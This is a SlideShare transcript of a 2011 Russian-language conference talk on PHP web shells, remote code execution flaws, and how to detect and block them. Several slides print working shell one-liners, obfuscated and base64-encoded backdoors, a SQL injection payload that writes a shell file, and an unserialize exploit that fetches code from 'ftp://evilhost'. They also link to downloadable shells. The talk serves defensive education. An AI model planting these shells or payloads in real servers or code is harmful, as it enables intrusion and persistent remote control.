WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION
Upcoming SlideShare
Loading in...5
×
 

Like this? Share it with your network

Share

WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

on

  • 1,638 views

WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION

Pratical cases
[RUS]

Neuron hackspace 2011

Statistics

Views

Total Views
1,638
Views on SlideShare
1,600
Embed Views
38

Actions

Likes
0
Downloads
25
Comments
1

4 Embeds 38

http://forum.dle-news.ru 30
http://aleksius.com 6
http://i.zeos.in 1
http://www.docshut.com 1

Accessibility

Categories

Upload Details

Uploaded via as Adobe PDF

Usage Rights

© All Rights Reserved

Report content

Flagged as inappropriate Flag as inappropriate
Flag as inappropriate

Select your reason for flagging this presentation as inappropriate.

Cancel
  • Full Name Full Name Comment goes here.
    Are you sure you want to
    Your message goes here
    Processing…
Post Comment
Edit your comment

WEB SHELL EVOLUTION & CODE EXECUTION ATTACKS IN WEB APPLICATION Presentation Transcript

  • 1. WEB SHELL EVOLUTION&CODE EXECUTION ATTACKS INWEB APPLICATIONPratical cases[RUS]
  • 2. Уязвимость, веб-шелл, бэкдор.Сходства и отличия.Веб-шелл - инструмент с большим набором функционала.Целый ряд уязвимостей может использоваться длязагрузки веб-шелла.Отличия бэкдора от уязвимости субъективны.Веб-шелл (бэкдор) может использовать дляфункционирования (выполнения кода и др.) какдокументированную функцию, так и уязвимостьинтерпретатора, препятствуя, тем самым, своемуобнаружению.
  • 3. Уязвимость, веб-шелл, бэкдор.<?php$regexp = $_GET[rx];$var = <tag>.$_GET[vr]</tag>;preg_replace("/<tag>(.*?)$regexp</tag>/", 1, $var);?><?php if(isset($_GET[debug])) { eval($_GET[debug]);} ?><?php echo <form action=$PHP_SELF method="post"><inputtype="text" name="command"></form>;if(isset($_POST)) { echo <pre>; passthru("$_POST[command]"); }?>
  • 4. Обзор популярных веб-шеллов.WSOhttps://rdot.org/forum/showthread.php?t=1085r57 http://v3n.0x7.net/soft/net/r57shell.v1.4.rarCC99http://www.turktoplist.org/c99.txtASPXspy2http://code.google.com/p/pcsec/downloads/detail?name=aspxspy2.rar&can=2&q=
  • 5. Как веб-шелл попадает на сервер?● Уязвимости загрузчика файлов (обычно картинок)● SQL-инъекции в случае FILE_PRIV (MySQL), COPY (Postgres), xp_cmdshell (MSsql)● Уязвимости переименовывания существующих файлов в другое расширение (обычно админ. панель)● Другие уязвимости
  • 6. Как веб-шелл попадает на сервер? ● Картинка с веб-шеллом в EXIF shell.php.jpg ● Картинка с веб-шеллом в статической области файла (остается неизменным после масштабирования сервером)                         http://www.0x416d73.name/articles/60
  • 7. Как веб-шелл попадает на сервер? ● SQL-инъекции в случае FILE_PRIV (MySQL)INTO OUTFILEINTO DUMPFILEРаботает после WHERE не смотря на документацию ;)http://dev.mysql.com/doc/refman/5.0/en/select.html1UNION(SELECT)(<?php _$GET[4]($_GET[0]);?>)INTO(OUTFILE)../../../myshell.php;--
  • 8. Поиск уязвимостей выполненияпроизвольного кода и веб-шеллов? ● Статический метод!# egrep -R --color "s+evals*(" ● Динамический методhttp://xdebug.org/https://github.com/Tyrael/bytekit ● Автоматизированные утилитыhttp://dle-news.ru/modules/1058-zeos-antivirus.htmlhttp://0x416d73.name/proj/fcc.htmlGoogle :)
  • 9. Статический методПлюсы: ● Высокая скорость работы ● Простота реализации (кажущаяся)Минусы: ● Требует множества сигнатур (eval, passthru, exec, system...) ● Ложные срабатывания //eval($_GET[debug];) <script>eval(a=i-am-java$cript)</script>
  • 10. Динамический методПлюсы: ● Высокая область покрытияМинусы: ● Сложность реализации ● Зависимость от версииинтерпретатора ● Производительность(ловит только во время работы)
  • 11. Автоматизированные утилитыПлюсы: ● Работают из коробки ● Не требуют специальных знанийМинусы: ● Ложные срабатывания ● Производительность ● Могут быть отключены злоумышленником до срабатывания
  • 12. Автоматизированные утилитыПросто найти работающий где-нибудь веб-шелл через гуглhttp://www.google.ru/#sclient=psy&hl=ru&newwindow=1&source=hp&q=%22r57shell+-+http-shell%22
  • 13. Какие бывают веб-шеллы?Классификация:● По механизму обмена данными (получение команды и отправка результата)● По размеру (большие и маленькие)● По механизму защиты (шифрование, обфускация)● По формату передачи команд (на основе GET, POST, COOKIES, Headers, EXIF)● По механизму взаимодействия (синхронные, асинхронные)
  • 14. По механизму обмена данными ● Полностью серверные:<?php echo <form action=$PHP_SELF method="post"><input   type="text" name="command"></form>; if(isset($_POST)) { echo <pre>; passthru("$_POST[command]"); }?> ● Только загрузчик:<?php     eval(base64_decode($_COOKIE[shell_body])); ?>
  • 15. По размеру ● Упакованные    eval(gzinflate(base64_decode(PACKED-SHELL-BODY))); ● Сверхмаленькие (используются при ограничениях на размер, например, в именах файлов, коротких полях ввода и проч.)    <?`$a`; //7 БАЙТ    <?=@$_GET[8]($_GET[9]); //23 БАЙТАhttp://raz0r.name/releases/mega-reliz-samyj-korotkij-shell/
  • 16. По механизму защиты ● Зашифрованное тело    - Нет возможности прочитать код без знания ключа    - Ключ передается при вызове злоумышленником ● Зашифрованные команды    - Нет возможность прочитать какая команда былапередана от злоумышленника без знания ключа    - Ключ для расшифровки команды внутри шелла ● Комбироварованные ● Обфусцированные ● Без защиты
  • 17. Механизмы защиты. Обфускацияhttp://downloads.ackack.net/heyes_technique_multi.txthttp://www.thespanner.co.uk/2011/09/22/non-alphanumeric-code-in-php/Gareth Heyes writes:No. 2 — September 22nd, 2011 at 3:35 pmStefan Esser also commented you can get Array without singlequotes @$§[]=$§; and of course you can get underscore aswell.$§[]=$§;$§=$§.$§;$§§=+$§;$§[+$§§++]|($§[$§§+$§§+$§§]^);
  • 18. По формату передачи команд ● Команда в HTTP GET    - Попадает в access.log при конфигурации по-умолчанию ● Команда в HTTP POST ● Команда в HTTP заголовках (или COOKIE) ● Команда в EXIF данных картинки    - Практически никогда не попадает в лог (файлможет быть очень большим) ● Другие варианты
  • 19. По механизму взаимодействия ● Синхронные    Команда из запроса злоумышленника        - Синхронное выполнение команды        - Результат возвращается в HTTP ответе ● Асинхронные    Команда на сервере        - Веб-шелл сам читает команду, загруженную наудаленный сервер        - Результат последней команды (команд)возвращается в HTTP-ответе злоумышленнику по спец.синхр. команде
  • 20. Асинхронный веб-шелл. 
  • 21. Мораль #1 сей басниПоиск уязвимостей выполненияпроизвольного кода и веб-шеллов, а такжебэкдров, может быть основан наобнаружении небезопасных вызововфункций интерпретатора.Какие это вызовы? eval(), system(), exec()?                                              и нетолько...
  • 22. Очевидные функцииeval()`ls`system()exec()passthru()shell_exec()popen()proc_open()
  • 23. Типичные ошибкиНе использование escapeshellarg(),  escapeshellcmd() при вызове внешнихпрограмм, например, unzip, gpg.Использование страниц шаблонов с PHPвставками.
  • 24. Callback-функции PHParray_map xml_set_character_data_handler()array_filter xml_set_default_handler()array_reduce xml_set_element_handler()array_diff_uassoc xml_set_end_namespace_decl_handler()array_diff_ukey xml_set_external_entity_ref_handler()array_udiff xml_set_notation_decl_handler()array_udiff_assoc xml_set_processing_instruction_handler()array_diff_uassoc xml_set_start_namespace_decl_handler()array_intersect_uassoc xml_set_unparsed_entity_decl_handler()array_intersect_ukey stream_filter_register()array_uintersect set_error_handler()array_uintersect_assoc set_exception_handler()array_uintersect_uassoc register_shutdown_function()array_walk register_tick_function()array_walk_recursive preg_replace_callback()call_user_func iterator_apply()call_user_func_array filter_input()call_user_method filter_var()call_user_method_array filter_input_array()iterator_apply filter_var_array()register_shutdown_function session_set_save_handler()usort preg_replace_callbackusort spl_autoload_registeruasortuksort
  • 25. Динамические методы и функции ● create_function() $foobar = $_GET[foobar]; $dyn_func = create_function($foobar, "echo $foobar;"); $dyn_func(); http://www.example.com/index.php?foobar=system(ls) ● ReflectionFunction() $func = new ReflectionFunction(assert); var_dump($func->invoke("phpinfo()")); ● $a($b)    $_COOKIE[9](_$COOKIE[8]);
  • 26. Кстати, динамические переменные. ● $$name=$value foreach ($_GET as $key => $value) { $$key = $value; } ● parse_str() без второго аргумента    parse_str($_SERVER[QUERY_STRING]);    перепишет элемент _SERVER при ?SERVER[HTTP_HOST]=!!! ● extract()    extract($_SERVER[QUERY_STRING]);    перепишет весь _SERVER при ?SERVER[HTTP_HOST]=!!! ■ import_request_variables() PHP<=5.2.1
  • 27. Выполнение кода через include :)<?php    $lang = $_GET[lang];    require_once($to_include . .inc.html);?>http://local/a.php?file=data:text/plain,<?php phpinfo();?>%00includeinclude_oncerequirerequire_once
  • 28. Самые популярные уязвимости ● preg_replace()$regexp = $_GET[rx]; $var = <tag>.$_GET[vr]</tag>;preg_replace("/<tag>(.*?)$regexp</tag>/", 1, $var); ● assert()$assn = “valid prefix “ . $_GET[toas] . " any postfix";assert($assn); ● ob_start()ob_start($bufout); $bufout = system; echo whoami;ob_end_flush();
  • 29. Несколько примеров из жизни.<? extract($_COOKIE); @$i($p); ?><?php $s=$_SERVER[HTTP_ACCEPT_ASE]; if ($s){passthru($s);} else { phpinfo();}?><?php $v="_"; $v.="rot"; $v.=14-1; $v="str$v";$w=$v("onfr64_qrpbqr");$x=$w(Y3JlYXRlX2Z1bmN0aW9u);$y=$w(QGFzc2VydCgkX1JFUVVFU1RbJ3d3dyddKTs=);$z=$x(,$y); $z(); ?><?php if ( $_SERVER[HTTP_DEST] ) { @preg_replace( "/(.*)/e", "$1", _SERVER[HTTP_DEST]); exit( ); } ?>
  • 30. Выполнение кода черезпереопределениеРассмотрим unserialize() функцию. - 5 ноября 2009, Сеул, конф. PoC2009 «Shocking News inPHP Exploitation» - Stefan Esserhttp://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf ● Польз. данные попадают в unserialize() ● Есть классы с magic-методами __destruct,__toString, __wakeup ● Эти классы доступные из кода с unserialize() ● Эти методы содержат какие-либо уязвимости (sqli,exec..)
  • 31. Unserialize пример выполнения кодаphpMyAdmin <= 2.11.9 ● $configuration=unserialize($_POST[configuration]); ● function __wakeup(){ … ● $this->load(); ● eval(?> . trim(file_get_contents($this- >getSource())));O:10:"PMA_Config":1:{s:6:"source";s:70:"ftp://evilhost/shell.php";}http://snipper.ru/view/12/phpmyadmin-2119-unserialize-arbitrary-php-code-execution-exploit/
  • 32. Unserialize альтернатива _SESSIONPHP 5.2 <= 5.2.13PHP 5.3 <= 5.3.2$_SESSION[$_POST[prefix] . bla] = $_POST[data];или$_SESSION = array_merge($_SESSION, $_POST);prefix=!data=|xxx|O:10:"evilObject":0:{}Получается – аналог unserialize()… Не только
  • 33. Unserialize альтернатива _SESSIONПри REGISTER_GLOBALS=On: ● Чтение (попадание в _SESSION) _SERVER,приватных переменных классов, etc test.php?prefix=!&data=|_SERVER| ● Перезапись _SERVER, приватных переменныхклассов, etc test.php?prefix=!&data=|_SERVER|a:1:{s:11:"REMOTE_ADDR";s:3:"!!!";}
  • 34. Меры борьбы пост-фактум #1 ● disable_functions "popen,exec,system,passthru, proc_open,shell_exec" ● open_basedir "/var/www/mywwwroot/" ● safe_mode 1 ● safe_mode_exec_dir ● allow_url_fopen 0 ● allow_url_include 0Динамический evalhook на основе bytekitТриггеринг обращений к СУБДМониторинг процессов
  • 35. Меры борьбы пост-фактум #1Плюсы ● Не зависит от наличия уязвимостей ● Быстро настраивается в любой среде ● Снижают проихзводительностьМинусы ● Могут возникнуть конфликты с существующим кодом ● Существует множество уязвимостей интерпретатора, позволяющих обойти эти ограничения.http://www.google.ru/search?sourceid=chrome&ie=UTF-8&q=php+basedir+bypass
  • 36. Меры борьбы пост-фактум #2 ● Проактивная защита    Apache mod_securityhttp://www.modsecurity.org/        PHPIDShttp://phpids.org/    etc.Фильтруют входящие параметры (польз. данные) посигнатурам.Не смогут обнаружить зашифрованные команды
  • 37. Меры борьбы пост-фактум #2Плюсы ● Не зависит от наличия уязвимостей ● Блокируют множество сигнатур атак, например, XSS/SQLiМинусы ● Конфликты с легитимными запросами (ложные срабатывания) ● Сильная просадка по производительности
  • 38. Заключение и выводыНеобходимо использовать все доступные методы:    - Становление процессов администрирования,реагирования на инциденты, разработки, аудита    - Правильная настройка серверной части(safe_mode, disabled_functions)    - Автоматизированные проверки целостностисистемы    - Поиск веб-шеллов по регулярным выражениям(баннерам)    - Поиск и устранение уязвимостей (аудит)